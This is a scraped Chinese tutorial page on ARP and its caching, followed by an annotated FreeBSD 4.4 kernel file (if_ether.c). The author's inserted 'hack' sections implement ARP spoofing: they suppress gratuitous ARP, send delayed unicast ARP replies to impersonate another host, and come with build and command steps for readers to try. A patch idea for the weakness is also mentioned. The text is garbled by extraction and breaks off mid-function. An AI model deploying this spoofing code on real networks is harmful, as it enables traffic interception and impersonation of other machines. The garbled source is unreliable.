关键词不能为空

当前您在: 主页 > 英语 >

ARP请求详解

作者:高考题库网
来源:https://www.bjmy2z.cn/gaokao
2021-02-09 16:38
tags:

-

2021年2月9日发(作者:露脸)


ARP


请求详解



/



IP


地址 是不能直接用来进行通信的。这是因为


IP


地址只是主机在抽象 的网络层中的地址。


若要将网络层中传送的数据报交给目的主机,


还要传到链路层转变成


MAC


帧后才能发送到实


际的网络上。因此,


不管网络层使用的是什么协议,在实际网络的链路上传送 数据帧时,最


终还是必须使用硬件地址。


由于


IP


地址有


32 bit


,而局域网的硬件地址是


48bit


,因此 它们之间不存在简单的映射关


系。此外,


在一个网络上可能经常 会有新的主机加入进来,或撤走一些主机。更换网卡也会


使主机的硬件地址改变。可见在 主机中应存放一个从


IP


地址到硬件地址的映射表,并且这


个映射表还必须能够经常动态更新。地址解析协议


ARP

< p>
很好地解决了这些问题。



每一个主机都设有一个


ARP


高速缓存(


ARP cache


),里面有所在的局域网上的各主机和路


由器的


IP


地址到硬件地址的映射表,这些都是该主机目前知道的一些地址。



如果不使用


ARP


高 速缓存,


那么任何一个主机只要进行一次通信,


就必须在网络上 用广播方


式发送


ARP


请求分组,这就 使网络上的通信量大大增加。


ARP


将已经得到的地址映射保存 在


高速缓存中,


这样就使得该主机下次再和具有同样目的地址的 主机通信时,


可以直接从高速


缓存中找到所需的硬件地址而不必 再用广播方式发送


ARP


请求分组。


( 详解过程请参考第


2


页)


< p>
ARP


将保存在高速缓存中的每一个映射地址项目都设置生存时间(例如,


10



20


分 钟)


。凡


超过生存时间的项目就从高速缓存中删除掉。设置这种 地址映射项目的生存时间是很重要


的。设想有一种情况。主机


A



B


通信。


A



ARP


高速缓存里保存有

< p>
B


的物理地址。但


B


的< /p>


网卡突然坏了,


B


立即更换了一块,因此


B


的硬件地址就改变了。


A

< p>
还要和


B


继续通信。


A< /p>


在其


ARP


高速缓存中查找到

< p>
B


原先的硬件地址,


并使用该地址向


B


发送数据帧。



B


原先的


硬件地址已经失效了,因此


A


无法找到主机


B


。但是过了一段时间,


A



ARP


高速缓存中 已


经删除了


B


原先的硬件地址


(因为它的存在时间到了)



于是


A


重新广播发送


ARP


请求 分组,


又找到了


B


< br>


这里需要指出,


ARP


是解决 同一个局域网上的主机或路由器的


IP


地址和硬件地址的映射问


题。如果所要找的主机和源主机不在同一个局域网上,例如,在


TCP/IP


详解卷


1


中,第


29


页的例子,


那么这时就要借助于网络层的协 议,


配合链路层协议才能将数据报成功的发送到


目的主机上。( 详解过程请参考第


3


页)


< p>
这里要指出的是,这种从


IP


地址到硬件地址的解 析是自动进行的,主机的用户对这种地址


解析过程是不知道的。只要主机或路由器要和本 网络上的另一个已知


IP


地址的主机或路由

器进行通信,


ARP


协议就会自动地将该

< br>IP


地址解析为链路层所需要的硬件地址。


< p>
那么就可能会产生这样的问题:


既然在网络链路上传送的帧最终是按照硬件 地址找到目的主


机的,


那么为什么我们不直接使用硬件地址进行 通信,


而是要使用抽象的


IP


地址并调 用


ARP


来寻找出相应的硬件地址呢?



这个问题必须弄清楚。



由于全世界存 在着各式各样的网络,


它们使用不同的硬件地址。


要使这些异构 网络能够互相


通信就必须进行非常复杂的硬件地址转换工作,因此几乎是不可能的事。但 统一的


IP


地址


把这个复杂问题解决了 。连接到因特网的主机都拥有统一的


IP


地址,它们之间的通信 就像


连接在同一个网络上那样简单方便,


因为调用


ARP


来寻找某个路由器或主机的硬件地址都是


由计 算机软件自动进行的,对用户来说是看不见这种调用过程的。



设想有两个主机可以直接使用硬件地址进行通信


(具体实现方法暂不必管)



再假定其两个


主机的网卡都同时坏了,

< p>
然后又都更换了一块,因此它们的硬件地址也都改变了。


这时,这


两个主机怎样能够知道对方的硬件地址呢?显然很难。但


IP

< p>
地址是独立于主机或路由器的


硬件地址的。硬件地址的改变不会影响使用< /p>


IP


协议的主机的通信。



因此,在虚拟的


IP


网络上用


IP


地址进行通信给广大的计算机用户带来很大的方便。





/info/article/?aId=9212



*


以太网解释协议


(ARP).


文件名


:/sys/netinet/if_ether.c





*


注释


ie_minix





*



,


函数入口


:





* ARP


有两个入口


:1





*


由< /p>


ether_input


发出一软中断


(


见我的


ethernet


网络代码详解 一文


),arpintr


中断例程被调用


,


检查完数


据后






* < /p>


该中断例程调用


in_arpinput


函数


.





*


入口


2:





* < /p>



ether_output


函数在查询 输出的硬件地址时


,


调用


arpres olve


函数进行地址解析


.





*


所以


,ARP


基本上是和


ether


网输出密切相关的


.





*



,


相关的结构


:





*


关于 他使用的结构方面


,llinfo_arp


是和路由相关的一个 结构


,ether_arp


结构是个遵循


RFC826


的一个


ARP


包的结构


.




< /p>


*



,


学习顺序


:





*


在看本文的时候


,


一般从函数


arpintr(


中断例程


)


开始看


,


紧接着看


in_arpinput


函数


.


再看看支撑函数


arplookup


后停止

< p>
,


这是第一入口


.





*


ar presolve


是第二入口的开始


,


他是解析地址的函数


,


如果解析不了


,


调用


arprequest


函数发送一


ARP


请求包


,


第二入口结束


.





*


关于


a rp_rtrequest


函数和路由函数相关


,


作用是添加或删除一


ARP


节点

.


如果看不懂


,


可到以后的路


由函数讲解时再了解


.





*



,ARP


欺骗的核心内实现


:





* < /p>


在整个程式中


,



hack------


是我加入的代码


,

一直到


end------


结束


,


大概有十来段这样的代码


,


是用来实< /p>



ARP


欺骗


,


下面我简要的讲一






*


讲他的实现原理


:





*


在我 们开机后


,


系统初始化阶段


,


确切的说是在


arp_ifinit


初始函数被 调用时


,


将发送一免费


ARP


,


所谓免



,


是指要寻找的


IP


地址是我自

< br>





*


己的


IP


地址


,


那么网络上如果有和我相同的


I P


地址的机器


(IP


地址冲突


),


他就会根据我的这个


ARP


包中的发送源硬件地址应答一个


ARP





*


包给 我


,


我的接收函数就能判断是否有人和我的

IP


设置的是相同的


.


初始化函数 不仅在开机后初始化


时实行


,


而且在你 执行


ifconfig


改动






* < /p>


IP


地址时也会调用


,

< br>如果要进行


ARP


欺骗


,


那么你就不能发送一免费


ARP


< p>
,


要不然对方的机器会记


录下你的欺骗

< p>
.


这一点是其他的关于






*


AR P


欺骗方式在用户区域所不能达到的


.


在你的机器冒充另外一台机器期间


,


会遇见两种情况

< p>
,


第一种



:

< p>
被冒充的机器发送一个


ARP





*


请求


,


因为是广播发送


,

< br>所以你也接到了该请求


,


被请求的机器会应答一


ARP


,


这时我们也要应答一

< br>ARP


,


不过要比真正的那台机器晚一点






* (


在程式中我用的是


DELAY< /p>


延迟


500


毫秒


,


该数据能进行调整


,


以适合你本地网 络中较慢的机器


),


他就


在被冒充的机 器上进行覆盖前






*


一个回应


,


使得被冒充的机器认为你就是他要找的机器


,


当然被冒充的机器紧接着将发送


IP


包给你的


机器


,


由于你的


IP


层会判断包的目的






* IP


地址


(


肯定目的


IP

< br>不对


,


因为被欺骗了


),


所以


IP


层会将他抛弃


.


第二种情况是


:


有其他的机器想和 被欺


骗的机器相联系


,


其他机器也将广 播






*



ARP


请求


,


目的


IP


是被欺骗机器的


IP


,


首先被欺骗主 机会回应一


ARP


,


我们也和被欺骗主 机相同回


应一


ARP


,


覆盖被欺骗主机的回应


.





*



,< /p>


漏洞的分析


:





*


目前


,


我所见到的


BSD

< br>类操作系统都可能被欺骗


,


其原因是没有判断

< p>
ARP


请求方的目的硬件地址是否


是来之于广播地 址


,


而我们进行的






*


所有欺骗都是进行单播方式的请求


.





*



,


解决方案


:





*


在程 式中的


patch



patch en d


部分是我的解决方案


.


主要是对


ARP


请求部分的目的硬件地址是否是


广播 地址进行判断


,


如果要使用


,







*


把注释去掉就行了


.





*



,


编译


:





*


对于< /p>


FreeBSD4.4


版本


,

< p>
可直接拷贝覆盖


/sys/net/if_ether.c


文件


,


对于当前版本


,


只要把


hack-----



end-----


之间的段粘贴到相应的地方


.





*


本程式在


4.4


下已编译通过


,


由于实验条件不行


,


实验 没有在两台以上机器进行过


,


在这里希望网友能帮


忙测试


,


测试的方法是


:





*1.


覆盖原文件后


,


进行核心编译


.




< p>
*2.


重启动后


,


执行< /p>


:





* arp -d -a





* sysctl ck=1





* ifconfig vr0 192.168.0.4 255.255.255.0





* ^ ^ ^





*


你的卡



你要冒充的


IP


掩码






*


最佳是把上面几个命令放到批执行文件中执行


.





*3.


用被冒充的机器去


PING < /p>


其他机器


,


这时候有可能


ICMP


包能发出几个


,


但应 该即时没有反应


.





*4.


如果有什么问题


,


大家能把他记录


,


并发布 到


BBS



,


更希望能多测试几种系统


.





*





*/





#include


个头文件由编译器在编译操作系统核心时产生的一些常量


*/





#include





#include





#include





#include /*


队列操作


*/





#include





#include





#include /*


缓冲管理


*/





#include /*


分配缓冲


*/





#include /*


主要 是


sockaddr_in


结构要用到


*/





#include /*LOG


宏用到


,


即日志记录


*/





#include /*


硬件接口使用 的一些结构


,if


的意思是


inter face*/





#include /*


链路层的一些数据结构


*/





#include





#include /*


和路由相关的函数


*/





#include /*


注册中断向量用到的函数


*/





#include





#ifdef BRIDGE /*


如果定义了桥转发


*/





#include





#include





#endif





#include





#include





#include





#include





/*hack:------------------------*/





#include /*


因为要使用


DELAY()


延迟函数


*/





static int arphacklock=0; /*


全局变量用的锁


*/





struct in_addr gatewayip; /*


网关


IP*/





struct in_addr oldip; /*


我机器老 的


IP


地址


*/





static int trueip=0; /*


是否使用冒 充


IP


发送


ARP

请求


*/





static u_char ithardaddr[6] ;/*


要冒充机器的硬件地址


,


在转移 到临时缓冲之前由锁来控制其写


*/





static int fromsubr=100; /*


实验用


,

< br>看看本机发出


ARP


请求是那个函数

*/





/*end-------------------------*/





#define


SIN(s)


((struct


sockaddr_in


*)s)


/*


强制转化成

< p>
sockaddr_in


结构


,

< br>即


Internet


地址结构


,


其中


s


一般是


sockaddr


结构


*/





#define


SDL(s)


((struct


sockaddr_dl


*)s)/*


强制转化成


sockaddr_dl


结构

,



ethernet


地址结构< /p>


,


其中


s


一般是


sockaddr


结构


*/





SYS CTL_DECL(_net_link_ether);/*


用于

sysctl


用法如下


:sysctl ....=XXX,





SYSCTL_DECL


是申明下面的


SYSC TL_NODE


将继承的节点


*/





SYSCTL_NODE(_net_link_ether, PF_INET, inet, CTLFLAG_RW, 0,





/*





hack:





static int hackarp=0;





SYSCTL_INT(_net_link_ether_inet, OID_AUTO, ctrlhack, CTLFLAG_RW,&hackarp, 0,





/*< /p>


这方便你在用户区可控制核心变量


,


用法 如下


:sysctl


karp=1


那么变量


hackarp


就为


1



.





下面的程式会根据


hack


的真假判断来进行欺骗






*/





/*


一些记时器的值



*/





static


int


arpt_prune


=


(5*60*1);


/*



5


分钟过一遍列表


,


这个变量是由计时器使用


,


看看有没有超时

ARP


结点


,


有就删除他



*/





static int arpt_keep = (20*60); /*


一旦解析了


,


保持



20


分钟



*/





static int arpt_down = 20; /*


一旦公开了


down, 20


秒不发送



*/





/*< /p>


对以上


3


个变量的控制

< br>*/





/*


使用方法


:sysctl


_intvl=180


也就是把


AR P


定时期改为了每


3


分钟查一次


ARP


结点


*/





SYSCTL_INT(_net_link_ether_inet, OID_AUTO, prune_intvl, CTLFLAG_RW,





&arpt_prune, 0,





SYSCTL_INT(_net_link_ether_inet, OID_AUTO, max_age, CTLFLAG_RW,





&arpt_keep, 0,





SYSCTL_INT(_net_link_ether_inet, OID_AUTO, host_down_time, CTLFLAG_RW,





&arpt_down, 0,





#define rt_expire rt__expire /*

< br>这里是放当前时间的


,


如果


rt init


路由初始程式加入一


IP


路由


,



么把当前时间

+20*60


秒放进去


,*/





/*arptimer

< p>
函数会和当前时间


(


当前时间由时钟每秒加


1)


比较


,


如果相等 或比当前时间小


,


即到了或


*/





/*< /p>



ARP


结点时间过了

< br>20


分钟


.


即超时


*/





/*


这里其实是真正的


ARP


列表


*/





struct llinfo_arp {





LIST_ENTRY(llinfo_arp) la_le;/*

< br>单向列表宏


,


说明该结构是一单向的列表


,


尾巴为


0*/





struct rtentry *la_rt; /*


和该结点相关的路由


*/





struct mbuf *la_hold; /*


由于该 地址正等待解释


,


所以要发送的数据


( mbuf


链头


)


指针暂时存放



*/





long la_asked; /*

为该地址发送了一共几个


ARP


请求


,


如果到了


5


,


那么暂时停止


20


< p>
*/





#define la_timer la_rt->rt__expire





};





static LIST_HEAD(, llinfo_arp) llinfo_a rp;/*


全局


ARP


链表及表头


,


从这开始就能遍历整个


ARP

< p>
结点


*/





struct ifqueue arpintrq = {0, 0, 0, 50};/*ARP


请求队列


,


在我的



网络代码详解


< /p>


中有说明


,


因为我


们要


hack,


所以要改大一些


,1 00*/





static int arp_inuse, arp_allocated;/*


这都是统计用的


*/





static int arp_maxtries = 5; /*

< br>在解释地址时重复发送


ARP


请求的包的次数

< p>
*/





static int useloopback = 1; /*


在本地使用环回接口



*/





static int arp_proxyall = 0; /*ARP


代理是否使用


*/





/*


对以 上


3


个变量的控制


*/





SYSCTL_INT(_net_link_ether_inet, OID_AUTO, maxtries, CTLFLAG_RW,





&arp_maxtries, 0,





SYSCTL_INT(_net_link_ether_inet, OID_AUTO, useloopback, CTLFLAG_RW,





&useloopback, 0,





SYSCTL_INT(_net_link_ether_inet, OID_AUTO, proxyall, CTLFLAG_RW,





&arp_proxyall, 0,





static void arp_rtrequest __P((int, struct rtentry *, struct sockaddr *));/*


添加或删除一


ARP


节点


,


和路


由有关


*/





static void arprequest __P((struct arpcom *, /*


发送一< /p>


ARP


请求


,


目 的硬件地址是广播地址


*/





struct in_addr *, struct in_addr *, u_char *));





static void arpintr __P((void)); /*ARP


软中断


,



ether_input


函数

(if_ethersubr.c)


调用


*/





static void arptfree __P((struct llinfo_arp *)); /*


释放一


ARP


节点


*/





static void arptimer __P((void *)); /*


定时查询


ARP


节点是否超时


*/





static struct llinfo_arp





*arplookup __P((u_long, int, int)); /*< /p>


在路由表中查询


IP


的路由


,


并返回该


IP


路由的相关 的


ARP


节点信


*/





#ifdef INET





static void in_arpinput __P((struct mbuf *)); /*



ARP


软中断调用


,


对进入的


ARP


包进行分析


*/





#endif





/*





*


定时程式


.


该函数用来查看是否有< /p>


ARP


超时


(20


分钟


).


有就清除他






*/





static void





arptimer(ignored_arg)





void *ignored_arg;





{





int s = splnet( );/*


链路层中所有对链表要操作的都要屏蔽网络中断


*/





register


struct


llinfo_arp


*la


=


llinfo__first;/*





ARP





,



个< /p>






,




la->la __next


链接到下一个


*/





struct llinfo_arp *ola;/*


临时存放


ARP


界点用的


*/





timeout(arptimer, (caddr_t)0, arpt_prune * hz);/*


每格


5


分钟查看一次


(


调用自己


)*/





while ((ola = la) != 0) {/*


没有到链表尾巴就继续循环


*/





register struct rtentry *rt = la->la_rt ;/*



ARP


结点相关的路有表


*/





la = la->la__next;/*while


的循环 可遍历整个


ARP


结点表


*/





if (rt->rt_expire && rt->rt_expire <= time_second)/*< /p>


如果是非永久性


ARP


并且时间超时


,


在启用了一个


ARP

结点时


,*/





/*rt->rt_expire


会 设置成当前的


time_second(


系统内的秒

< p>
)+20


分钟


*/





/*


然后


time_second


就滴答滴答的在走

,


当系统的


time_second


走了


20*/





/*


分钟时候


,


就使


rt->rt_expire



time_second


相等了


,< /p>


等式成立


.



. ..*/





arptfree(ola); /*


定时器期满

< p>
,


清晰该


ARP


记录


,


函数在后面



*/





}





splx(s);/*


开网络中断


*/





}





/*





* < /p>


当你在设置你的某块网卡的


IP



(



:ifconfig ...),





*/





static void





arp_rtrequest(req, rt, sa)





int req;/*


是删除


,


添加还是克隆一 个路由


(


克隆路由是因为到外网的


IP


都必须经过网关


,


也就是说

< p>
,


你的数


据包发给网关就没事了

< br>),*/





/*


所以外网的


IP


的路由 都是克隆网关的就


OK



.*/





register struct rtentry *rt;





struct sockaddr *sa;





{





register struct sockaddr *gate = rt->rt_gateway;





register struct llinfo_arp *la = (struct llinfo_arp *)rt->rt_llinfo;





static struct sockaddr_dl null_sdl = {sizeof(null_sdl), AF_LINK};





static int arpinit_done;





if (!arpinit_done) {/*


判断是否建立了


AR P


节点队列


*/





arpinit_done = 1;





LIST_INIT(&llinfo_arp);/*


建立


A RP


节点队列


*/





timeout(arptimer, (caddr_t)0, hz);/*


启动计时器


*/





register_netisr(NETISR_ARP


, arpintr);





/*


我们来看看


register_netis r


函数


,


即设置中断向量


,NETISR_ARP


是中断号


,arpintr


中断例程






int





register_netisr(num, handler)





int num;





netisr_t *handler;/*


中断例程指针






{





if (num < 0 || num >= (sizeof(netisrs)/sizeof(*netisrs)) {/*

< p>
中断号不能小于


0


或大于中断向量数组的最大


下标


*





printf(


< br>n





return (EINVAL);





}





netisrs[num] = handler;/*


设置他


,


唯一调 用他的是


if_ethersubr.c


中的

< br>ether_input


函数


(


我是指


ARP



)*





return


(0);


/*


看一下


sys



i3 86



isa



ipl.s(82



):


文件中的< /p>


.globl


_netisrs


定义为


32


个长字的


netisrs


中断向量数组


.*





}





*/





}





if (rt->rt_flags & RTF_GATEWAY) /*


如果是网关


,


返回


*/





return;





switch (req) {





case RTM_ADD:/*


添加一条路由


*/





/*





*/





if ((rt->rt_flags & RTF_HOST) == 0 && /*


不是 主机路由且掩码不是全


1(


即不是主机路由

,


主机路由隐含


的掩码是全


1)* /





SIN(rt_mask(rt))->sin_addr.s_addr != 0xffffffff)





rt->rt_flags |= RTF_CLONING;/*

加克隆标志


,


即外网的


IP


,


使用克隆吧


*/





if (rt->rt_flags & RTF_CLONING) {





/*





*


有克 隆标志


,


即到外网


,

< br>把网关的考过来就行了


.





*/





rt_setgate(rt, rt_key(rt), /*


既然是外网的


IP


,


设置好他的路由的网关地址


*/





(struct sockaddr *)&null_sdl);





gate = rt->rt_gateway;/*gat e


是一


sockaddr


结构


,


那么他得到的是网关的硬件地址


*/





SDL(gate)->sdl_type


=


rt->rt_ifp->if_type;/*


不用去查

< br>SDL



,


看都能看出来


,


他是把


sockaddr

< br>转成


sockaddr_dl


结构


.*/





SDL(gate)->sdl_index


=

< p>
rt->rt_ifp->if_index;/*


想一想


,if_type



IP


路由 会是什么呢


(


当然更有


IPX




)*/





rt->rt_expire = time_second;/*


看了上面哪个函数就知道了


,< /p>


这个路由开始计时


,


放入当前时间的秒值


*/





break;





}





/*


发送一免费

< br>ARP


的通告


.


免费

< p>
ARP


用于查看是否有人和自己的


IP

< p>
相冲突


. */





if (rt->rt_flags & RTF_ANNOUNCE)





arprequest((struct arpcom *)rt->rt_ifp, /*


发送一


ARP


请求


*/





&SIN(rt_key(rt))->sin_addr, /*

看到吧


,



IP

< br>地址和目的


IP


地址都是自己


* /





&SIN(rt_key(rt))->sin_addr,





(u_char *)LLADD R(SDL(gate)));/*


我的硬件地址


*/





case RTM_RESOLVE:





if (gate->sa_family != AF_LINK ||





gate->sa_len < sizeof(null_sdl)) {





log(LOG_DEBUG,



n





break;





}





SDL(gate)->sdl_type = rt->rt_ifp->if_type;





SDL(gate)->sdl_index = rt->rt_ifp->if_index;





if (la != 0)





break; /*


到这是因为路由发生了改动


*/





/*





*


该路由可能来自克隆路由


.





*/





R_Malloc(la, struct llinfo_arp *, sizeof(*la));/*


分配一


ARP


节点所需的内存


*/





rt->rt_llinfo = (caddr_t)la;/*

使相关路由的


ARP


节点指针指向所分配的地方

< p>
*/





if (la == 0) { /*


一开始我觉得这里有毛病


,


上面的那句应该放到该判断的后面


,


并应该


FREE


掉分配的结

< p>


,


但没关系


,


清大家思考


*/





log(LOG_DEBUG,



n





break;





}





arp_inuse++, arp_allocated++;/*


统计用


*/





Bzero(la, sizeof(*la));/*


结构清


0*/





la->la_rt = rt;/*


设置

ARP


节点的相关路由回指针


*/





rt->rt_flags |= RTF_LLINFO;/*


在相关的路由中加上有


ARP


节点标志


*/





LIST_INSERT_HEAD(&llinfo_arp, la, la_le );/*


把该


ARP


节点插入


ARP


节点链表中


(


队 列的插入操作


)*/





#ifdef INET





/*





*


广播地 址和多播地址


,


他们都是永久


ARP





*/





if (IN_MULTICAST(ntohl(SIN(rt_key(rt))->sin_addr.s_ad dr))) {





ETHER_MAP_IP_MULTICAST(&SIN(rt_key(rt))->sin_ addr,





LLADDR(SDL(gate)));





SDL(gate)->sdl_alen = 6;/*


硬件 地址的长度


,



rt(


路由信息结构


)



rt_ga teway


成员操作


*/





rt->rt_expire = 0;/*0


表示该


ARP


永不过期


*/





}





if (in_broadcast(SIN(rt_key(rt))->sin_addr, rt->rt_ifp)) {/*rt_key(rt)


是查找路由信息中所包含


IP


的硬件


地址


,


属路由函数


*/





memcpy(LLADDR(SDL(gate)), etherbroadcastaddr, 6);





SDL(gate)->sdl_alen = 6;/*< /p>


硬件地址的长度


,


rt(


路由信息结构


)



rt_gateway


成员操作


*/





rt->rt_expire = 0;/*0


表示该


ARP


永不过期


*/





}





#endif





if (SIN(rt_key(rt))->sin_addr.s_addr ==





(IA_SIN(rt->rt_ifa))->sin_addr.s_addr) {





rt->rt_expire = 0;/*


置永久

< p>
ARP


标志


,


即该


ARP


永不过期


*/





Bcopy(((struct arpcom *)rt->rt_ifp)->ac_enaddr, /*


把本网卡的硬件地址放入 路由的


rt->rt_gateway



*/





LLADDR(SDL(gate)),


SDL(gate)->sdl_alen


=


6);


/*


记住

:


内核函数


Bcopy



Memcpy


都是内存拷贝


,

< br>但参数方向不同


*/





if (useloopback)





rt->rt_ifp = loif;





}





break;





case RTM_DELETE:/*


删除一


ARP


节点


,


当然也要对对应 的路由进行相关的操作


*/





if (la == 0)





break;





arp _inuse--;/*


统计用


*/





LIST_REMOVE(la, la_le);/*


从链表中


(ARP


节点链表


,


即结构


llinfo_ar p)


删除一


ARP


节点


*/





rt->rt_llinfo = 0;/*


该路由所指向的< /p>


ARP


节点置空


*/





rt->rt_flags &= ~RTF_LLINFO;/*

去掉含有


ARP


节点标志


*/





if (la->la_hold)/*


如果在该节点中更有未发送的


mbuf,


释放掉


*/





m_freem(la->la_hold);





Free((caddr_t)l a);/*


释放该


ARP


节点结构占用 的内存


*/





}





}





/*





*


广播一


ARP


请求


:





* ac


要发送该


ARP


包的网卡


(


由以太网通用结构


arpcom


指向该卡的相关 结构


)





* sip-



IP


地址






* tip-


目的


IP


地址






* enaddr


源以太网地址






*/





static void





arprequest(ac, sip, tip, enaddr)





register struct arpcom *ac; /*


以太网通用结构


*/





register struct in_addr *sip, *tip;/*


源和目的


IP< /p>


地址


*/





register u_char *enaddr;/*< /p>


发送


ARP


包的卡的硬件地址

< p>
*/





{





register struct mbuf *m;/*mbuf


链指针


*/





register struct ether_header *eh;/*


以太网头部


*/





register struct ether_arp *ea; /*ARP


头部结构


*/





struct sockaddr sa;/*


在这没用上


,


除非你在


ISO


协议中


*/





static u_char llcx[] = { 0x82, 0x40, LLC_SNAP_LSAP


, LLC_SNAP_LSAP


, /*


用于

ISO


协议


*/





LLC_UI, 0x00, 0x00, 0x00, 0x08, 0x06 };





if ((m = m_gethdr(M_DONTWAIT, MT_DATA)) == NULL)/*

该函数在


mbuf.c



,


建立一


mbuf,


其实他是

< br>MGETHDR(m, how, type);


下面对该宏有周详的解释


*/





return;





m->m_


=


(struct


ifnet


*)0 ;/*







,



人< /p>









< p>





,




ether_output,


还是在驱动程式的包输出中


,


都没有用上他


*/





switch (ac->ac__type) {/*


查看该卡所用的协议


*/





case IFT_ISO880 25:/*


支持


ISO


协议

< p>
,


我们能略去


*/





m->m_len = sizeof(*ea) + sizeof(llcx);





m->m_ = sizeof(*ea) + sizeof(llcx);





MH_ALIGN(m, sizeof(*ea) + sizeof(llcx));





(void)memcpy(mtod(m, caddr_t), llcx, sizeof(llcx));





(void)memcpy(_data, etherbroadcastaddr, 6);





(void)memcpy(_data + 6, enaddr, 6);





_data[6] |= TR_RII;





_data[12] = TR_AC;





_data[13] = TR_LLC_FRAME;





ea = (struct ether_arp *)(mtod(m, char *) + sizeof(llcx));





bzero((caddr_t)ea, sizeof (*ea));





ea->arp_hrd = htons(ARPHRD_IEEE802);





break;





case IFT_FDDI:





case IFT_ETHER: /*


以太网协议和


FDDI


协议大体上 相同


*/





default:





m->m_len = sizeof(*ea);/*ARP


结构大小


*/





m->m_ = sizeof(*ea);





/*(


下 面的


)


此宏的意思是把


m->m_da ta


的指针进行调整


(



32


位对齐


)





#define MH_ALIGN(m, len) do {







(m)->m_data += (MHLEN - (len)) & ~(sizeof(long) - 1);







} while (0)





*/





MH_ALIGN(m, sizeof(*ea));





ea = mtod(m, struct ether_arp *);/*


重新定位


AR P


头部指针


()*/





eh = (struct ether_header *)_data;





bzero((caddr_t)ea, sizeof (*ea));





eh->ether_type = htons(ETHERTYPE_ARP);





/*hack:------------------------*/





if ((hackarp==1) && (trueip==1))/*


在发送请求包时< /p>


,


有两种方法


:1,

发送原来老的


IP


的请求


,


目的硬件地


址是广播地址


*/





{ /* 2,


发送新的


(


冒充的


)IP


的请求


,


目的地 址


?


嵌苑降挠布


?


?(


在上面发送后


,

< p>
对方会回应


)*/





(void)memcpy(eh->ether_dhost,


ithardaddr,


6);


/*


只要回应了


,

< br>把对方的


IP


,


硬件地址记录下 后


,trueip


设置为


1,


再发送


*/





}else{





/*end-------------------------*/





(void)memcpy(eh->ether_dhost, etherbroa dcastaddr,/*


发送


ARP


请求包到以太网络的广播地址


*/





sizeof(eh->ether_dhost));





/*hack:------------------------*/





}





/*end-------------------------*/





ea->arp_hrd = htons(ARPHRD_ETHER);/*080 0



IP



, ARPHRD_ETHER



ARP



*/





break;





}





ea->arp_pro = htons(ETHERTYPE_IP); /*IP


类型


*/





ea->arp_hln = sizeof(ea->arp_sha); /*


硬件地址长度



*/





ea->arp_pln = sizeof(ea->arp_spa); /*


协议地址长度



*/





ea->arp_op = htons(ARPOP_REQUEST); /*AR P


包的操作类型


,


即该出是请求


*/





(void)memcpy(ea->arp_sha, enaddr, sizeo f(ea->arp_sha));/*


本卡的硬件地址


*/





/*hack:------------------------*/





if (hackarp==1) {





if (trueip==1)/*


当要发送冒充的

< p>
IP



,*/





{





/*end-------------------------*/





(void)memcpy(ea->arp_spa, sip, sizeof(e a->arp_tpa));/*


本卡的


IP

< br>地址


*/





/*hack:------------------------*/





trueip=0;





arphacklock=0;/*


解锁


,


之后


ithardaddr


变量可被操作


*/





}else{





if (oldip.s_addr!=NULL)/*


当然


,


这是用老的


IP


向广播地址发


ARP


请求包


*/





(void)memcpy(ea->arp_spa, &oldip, sizeof(ea->arp_tpa));





}





}else{





(void)memcpy(ea->arp_spa, sip, sizeof(e a->arp_tpa));/*


这是正常的操作


*/





}





/*end------------------------*/





(void)memcpy(ea->arp_tpa, tip, sizeof(e a->arp_tpa));/*


目的地址


IP*/





_family


=


AF_UNSP EC;/*


直接发送


,



if_ethersubr.c


中的


if_outp ut


会判断此标志


,


有此标

< p>


,if_output


将不重新填充以太网头部


*/





_len = sizeof(sa);





(*ac->ac__output)(&ac->ac_if,


m,


&sa,


(struct


rtentry


*)0);/*


由于 在本地的路由中未找到该


IP


,




,rtentry


的指针为


0*/





}





/*


解析一


IP

地址到以太网地址


,


如果成功


,< /p>


目的地被填充


.


如果在

< br>ARP


表中没有


,


广播一请求< /p>






*


一但被解析了


,

< br>被保留的


mbuf


再重新发送


,


返回值是


1


则说明目的地被填充


,


包将发送


,0


表示






*


包被接管


,


或目前或将来传送


,


在整个


INET


原始码中


,


只有


if_ethersubr.c


中的


if_output





*


函数对他进行了调用






*/





int





arpresolve(ac, rt, m, dst, desten, rt0)





register struct arpcom *ac;





register struct rtentry *rt;





struct mbuf *m;





register struct sockaddr *dst;





register u_char *desten;





struct rtentry *rt0;





{





struct llinfo_arp *la = 0;/*


定义一


ARP


节点指针


*/





struct sockaddr_dl *sdl;/*


定义 一数据链路层地址结构


,


该结构属于


s ockaddr


的子集


*/





if (m->m_flags & M_BCAST) { /*


广播地址



*/





(void)memcpy(desten,


etherbroadcastaddr,


sizeof(e therbroadcastaddr));/*


把广播的硬件地址返回给


ether_output


函数


*/





return (1);





}





if (m->m_flags & M_MCAST) { /*


多播地址



*/





ETH ER_MAP_IP_MULTICAST(&SIN(dst)->sin_addr,

desten);/*













ether_output


函数


*/





return(1);





}





if (rt)/*


如果以太网


ether_output


函数调用本函数时的

rt(


路由信息


)


不为空


*/





la = (struct llinfo_arp *)rt->rt_llinfo ;/*


那么把路由中指向


ARP


节点的 指针放到


la



*/





if (la == 0) {/*la



ARP

< br>地址表的入口


*/





la = arplookup(SIN(dst)->sin_addr.s_addr, 1, 0);/*arplo okup


函数查找该


IP


,

< p>
找到了就返回一


ARP


节点


,


没找到就建立一


ARP


节点


(


因为第


2


个参数为


1)*/





if (la)





rt = la->la_rt; /*


利用


llinfo_arp


结构< /p>


(



ARP


节点


)


的回指针定位其路由表


*/





}





if (la == 0 || rt == 0) {/*


如果


AR P


节点还是空


(


没找到


),


或相关的路由表没有


*/





log(


LOG_DEBUG,



n





inet_ntoa(SIN(dst)->sin_addr), la ?





rt ?





m_freem(m);





return (0);





}





sdl = SDL(rt->r t_gateway);/*


返回网关的硬件地址


*/





/*


检查地址族和长度是否可用


,OK


的话 解释地址


,NOT


的话就返回


0



if_ethersubr.c


中的


if_output


函数






*/





if ((rt->rt_expire == 0 || rt->rt_expire > time_second) &&/*


如果是永久


ARP



ARP


未超时并且


*/





sdl->sdl_family == AF_LINK && sdl->sdl_alen != 0) { /*


地址类型是硬件链路层地址


,


并且地址长度不为


0*/





bcopy(LLADDR(sdl), desten, sdl->sdl_alen); /*


那么就拷贝该硬件地址到


desten*/





return 1; /*ether_output


函数如果 得到返回值


1(


成功


),


那他就知道


*/





} /*


他调用时的


desten


指针指向了正确的对方的硬件地址


*/





/*





* < /p>


如果接口不支持


ARP(PPP


等点对点 网络


).





*/





if (ac->ac__flags & IFF_NOARP)





return (0);





/*





*


先把要发送的数据指针临时保存


,


等到发送


ARP

请求查询包后


,


得到正确的对方硬件地址时再发送






*/





if (la->la_hold) /*


上次的


mbuf


更有没发的吗


(


